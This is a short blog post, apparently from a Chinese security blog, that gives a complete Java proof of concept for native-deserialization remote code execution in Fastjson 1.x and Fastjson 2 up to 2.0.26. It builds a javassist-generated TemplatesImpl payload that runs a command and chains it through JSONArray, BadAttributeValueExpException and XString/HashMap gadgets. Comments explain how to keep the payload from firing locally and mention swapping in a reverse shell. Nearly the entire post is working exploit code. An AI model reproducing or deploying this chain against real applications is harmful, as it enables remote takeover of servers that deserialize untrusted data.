Fastjson原生反序列化

fastjson1.x或fastjson2<=2.0.26,要求存在javaassit依赖.

package org.example;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Demo8 {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static TemplatesImpl getTemplatesImpl() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "RANDOM");
        setValue(templates, "_tfactory", null);
        return templates;
    }

    public static byte[] serialize(Object object) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        return baos.toByteArray();
    }

    public static Object deserialize(byte[] byteArray) throws Exception{
        ByteArrayInputStream bais = new ByteArrayInputStream(byteArray);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }

    public static void main(String[] args) throws Exception{
//        poc3();
        poc4();
    }

    public static void poc3() throws Exception{
        TemplatesImpl templates = getTemplatesImpl();

        JSONArray array = new JSONArray();
        array.add(templates);

        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        setValue(exception, "val", array);

        HashMap map = new HashMap();
        map.put(templates, exception);

        deserialize(serialize(map));
    }

    public static void poc4() throws Exception{
        TemplatesImpl templates = getTemplatesImpl();

        JSONArray array = new JSONArray();
        array.add(templates);

        XString xString = new XString("111");

        HashMap hashMap1 = new HashMap();
        HashMap hashMap2 = new HashMap();
        // 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
        hashMap1.put("yy", array);
        hashMap1.put("zZ", xString);
        hashMap2.put("yy", xString);
        hashMap2.put("zZ", array);

        HashMap map = new HashMap();
        // 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
        // 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
        Field size = map.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(map, 2);
        Class<?> aClass = Class.forName("java.util.HashMap$Node");
        Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass);
        constructor.setAccessible(true);
        Object o = Array.newInstance(aClass, 2);
        Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null));
        Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null));
        Field table = map.getClass().getDeclaredField("table");
        table.setAccessible(true);
        table.set(map, o);

        HashMap obj = new HashMap();
        obj.put(templates, map);

        deserialize(serialize(obj));
    }
}

posted @ 2025-01-25 22:58  colorfullbz  阅读(27)  评论(0)    收藏  举报